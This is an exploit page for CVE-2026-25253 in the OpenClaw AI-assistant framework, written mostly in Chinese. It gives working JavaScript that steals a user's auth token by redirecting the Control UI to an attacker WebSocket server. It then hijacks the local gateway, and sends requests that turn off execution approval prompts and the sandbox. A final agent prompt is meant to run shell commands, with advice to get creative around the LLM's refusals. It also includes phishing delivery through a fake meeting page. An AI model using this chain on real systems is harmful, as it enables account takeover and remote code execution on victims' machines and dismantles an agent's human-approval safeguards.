Sploitus

Exploit for CVE-2026-25253

kitploit · 2026-09-02

Exploit Code

MARKDOWN222 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KAJZINGERAKOS-CVE-2026-25253
# CVE-2026-25253:OpenClaw 中通过认证令牌窃取实现一键 RCE

**受影响软件:** OpenClaw (clawbot) < v2026.1.29  
**CVE ID:** CVE-2026-25253  
**CVSS 评分:** 8.8(高危)  
**影响:** 未认证的远程攻击者可窃取认证令牌,并在受害者主机上实现远程代码执行

> **法律免责声明:** 本代码及分析文章仅供授权的安全研究和教育目的使用。在未经明确书面许可的情况下,针对系统使用此漏洞利用工具属于非法且不道德的行为。作者对任何滥用行为不承担任何责任。

* * *

## 技术背景

OpenClaw(前身为 **Clawdbot** ,早期版本中称为 **Moltbot** )是一个在 macOS、Windows 或 Linux 上本地运行的 AI 助手框架。它支持 Anthropic 和 OpenAI 等云端模型,也支持本地模型。

**Control UI** 是一个单页应用,通过 `/chat` 提供服务。它通过 WebSocket 在 `ws://127.0.0.1:18789/`(或使用 TLS 时的 `wss://host:18789/`)与本地网关服务器通信。

受影响版本的关键安全特性:

  * 认证令牌和密码存储在 **`localStorage`** 中
  * 设备身份通过 **Ed25519 密钥对** (`noble-ed25519`)建立
  * WebSocket 协议使用 JSON-RPC 风格的消息(`type: "req"`、`"res"`、`"event"`)
  * 连接时,Control UI 会在第一个 `connect` 帧中发送认证凭据和设备身份



* * *

## 根本原因:`applySettingsFromUrl()`

该漏洞位于 Control UI 中的 `applySettingsFromUrl()` 函数中。

当 Control UI 加载时,该函数会从 URL 中读取 `?gatewayUrl=` 查询参数,并将其**存储为活动网关端点** ——且不验证其是否指向受信任的主机。

攻击者可以构造如下链接:

root@kitploit:~
    
    
    http://<target>/chat?gatewayUrl=ws://attacker.com
    

当受害者在 OpenClaw 中已认证的情况下点击此链接时,以下操作会自动发生:

  1. `applySettingsFromUrl()` 将 `ws://attacker.com` 存储为新的网关 URL
  2. Control UI 向攻击者的服务器打开一个 WebSocket 连接
  3. Control UI 将其 `connect` 帧——包括**认证令牌** 、设备 ID 和 Ed25519 公钥——发送给攻击者
  4. 攻击者捕获令牌,并针对 `ws://127.0.0.1:18789` 上的合法网关进行重放
  5. 攻击者现在在受害者的机器上拥有一个已认证的操作员会话



* * *

## 漏洞利用

### 第 1 步 — 通过弹窗技巧窃取令牌

在此 PoC 中,攻击者托管一个页面(`meeting.html`),该页面在弹窗中打开受害者自己的 Control UI,并注入恶意的 `?gatewayUrl=` 参数:

root@kitploit:~
    
    
    const attackerGatewayUrl = `ws://<attacker>:8080`;
    const targetUrl = `http://127.0.0.1:18789?gatewayUrl=${encodeURIComponent(attackerGatewayUrl)}`;
    window.open(targetUrl, '_blank');
    

攻击者服务器利用 OpenClaw 的双令牌回退机制:第一次 `connect` 尝试使用**设备令牌** (绑定 Ed25519,不可重放)。通过拒绝该尝试,服务器迫使 Control UI 使用**设置令牌** 重试——这是一种长期有效的承载令牌, _可以_ 重放:

root@kitploit:~
    
    
    // 拒绝第 1 次尝试 → 迫使 Control UI 使用设置令牌重试
    if (connectAttempts === 1) {
      ws.send({ type: 'res', ok: false, error: { code: 'AUTH_FAILED' } });
      return;
    }
    // 第 2 次尝试 → 设置令牌 → 已捕获
    capturedToken = token;
    

### 第 2 步 — 跨站 WebSocket 劫持

利用窃取的设置令牌,`meeting.html` 打开其**自身** 到真实网关(`ws://127.0.0.1:18789`)的直接 WebSocket 连接。这是可行的,因为 v2026.1.29 之前版本的网关不验证 `Origin` 头——受害者浏览器中加载的任何页面都可以连接到它。

### 第 3 步 — 禁用安全控制

root@kitploit:~
    
    
    // 关闭所有执行审批提示
    await sendRequest('exec.approvals.set', {
      file: {
        defaults: { ask: 'off', autoAllowSkills: true },
        agents: { '*': { ask: 'off' } },
      }
    });
    
    // 逃逸容器沙箱,将 exec 重定向到宿主机
    await sendRequest('config.patch', {
      raw: JSON.stringify({
        tools: { exec: { host: 'gateway', ask: 'off' } },
        agents: { defaults: { sandbox: { mode: 'off' } } },
      })
    });
    

### 第 4 步 — 远程代码执行

消息字段的内容由代理中配置的 LLM 处理,这意味着,如果 LLM 认为内容有害,它将不会执行该命令。您必须发挥创意来绕过 LLM 的安全措施。

root@kitploit:~
    
    
    await sendRequest('agent', {
      message: 'Execute this shell command: <payload>',
      agentId: 'main',
      sessionKey: 'agent:main:main',
      deliver: false,
    });
    

* * *

## 完整攻击流程

root@kitploit:~
    
    
    sequenceDiagram
        autonumber
        actor Attacker
        participant Browser as Victim Browser<br/>(meeting.html)
        participant CtrlUI as OpenClaw Control UI<br/>(popup @ 127.0.0.1:18789/chat)
        participant AtkWS  as Attacker WS Server<br/>(:8080)
        participant GW     as Real OpenClaw Gateway<br/>(127.0.0.1:18789)
        participant LLM    as Cloud LLM<br/>(OpenAI / Anthropic)
    
        Attacker->>Browser: Phishing link → opens meeting.html<br/>(disguised as a Teams invite)
    
        Note over Browser: Phase 1 — Token Theft
    
        Browser->>CtrlUI: Opens popup with ?gatewayUrl=ws://attacker:8080
        Note over CtrlUI: applySettingsFromUrl() stores<br/>attacker WS as active gateway
    
        CtrlUI->>AtkWS: connect { auth.token: DEVICE_TOKEN }
        AtkWS-->>CtrlUI: ✗ AUTH_FAILED (reject — forces retry)
    
        CtrlUI->>AtkWS: connect { auth.token: SETTINGS_TOKEN }
        AtkWS-->>CtrlUI: ✓ hello-ok (fake response)
        AtkWS->>Browser: token_captured { token: SETTINGS_TOKEN }
    
        Note over Browser: Phase 2 — Gateway Hijack (CSWSH)
    
        Browser->>GW: WebSocket connect (no Origin validation)<br/>auth { token: SETTINGS_TOKEN }
        GW-->>Browser: ✓ Authenticated as operator
    
        Note over Browser: Phase 3 — Security Bypass
    
        Browser->>GW: exec.approvals.set { ask: "off" }
        GW-->>Browser: ✓ Approval prompts disabled
    
        Browser->>GW: config.patch { exec.host: "gateway",<br/>sandbox.mode: "off" }
        GW-->>Browser: ✓ Sandbox disabled, exec on host
    
        Note over Browser: Phase 4 — Remote Code Execution
    
        Browser->>GW: agent { message: "Execute shell command: COMMAND" }
        GW->>LLM: Forward prompt (security already stripped)
        LLM-->>GW: Tool call: exec("COMMAND")
        GW->>GW: Runs command on HOST filesystem
        GW-->>Browser: ✓ Command executed

* * *

## 运行 PoC

### 设置

root@kitploit:~
    
    
    npm install   # installs 'ws' dependency
    

### 配置 `meeting.html`

root@kitploit:~
    
    
    const GATEWAY_URL      = 'ws://127.0.0.1:18789';  // victim's local gateway
    const ATTACKER_WS_PORT = 8080;                     // must match attacker-server.js
    const COMMAND = 'touch /tmp/success';
    

### 运行

root@kitploit:~
    
    
    node attacker-server.js
    

向受害者发送:

root@kitploit:~
    
    
    http://<ATTACKER_IP>:3000/meeting.html
    

* * *

## 参考

https://github.com/openclaw/openclaw/security/advisories/GHSA-g8p2-7wf7-98mq

https://www.sonicwall.com/blog/openclaw-auth-token-theft-leading-to-rce-cve-2026-25253

https://hackers-arise.com/cve-2026-25253-how-malicious-links-can-steal-authentication-tokens-and-compromise-openclaw-ai-systems/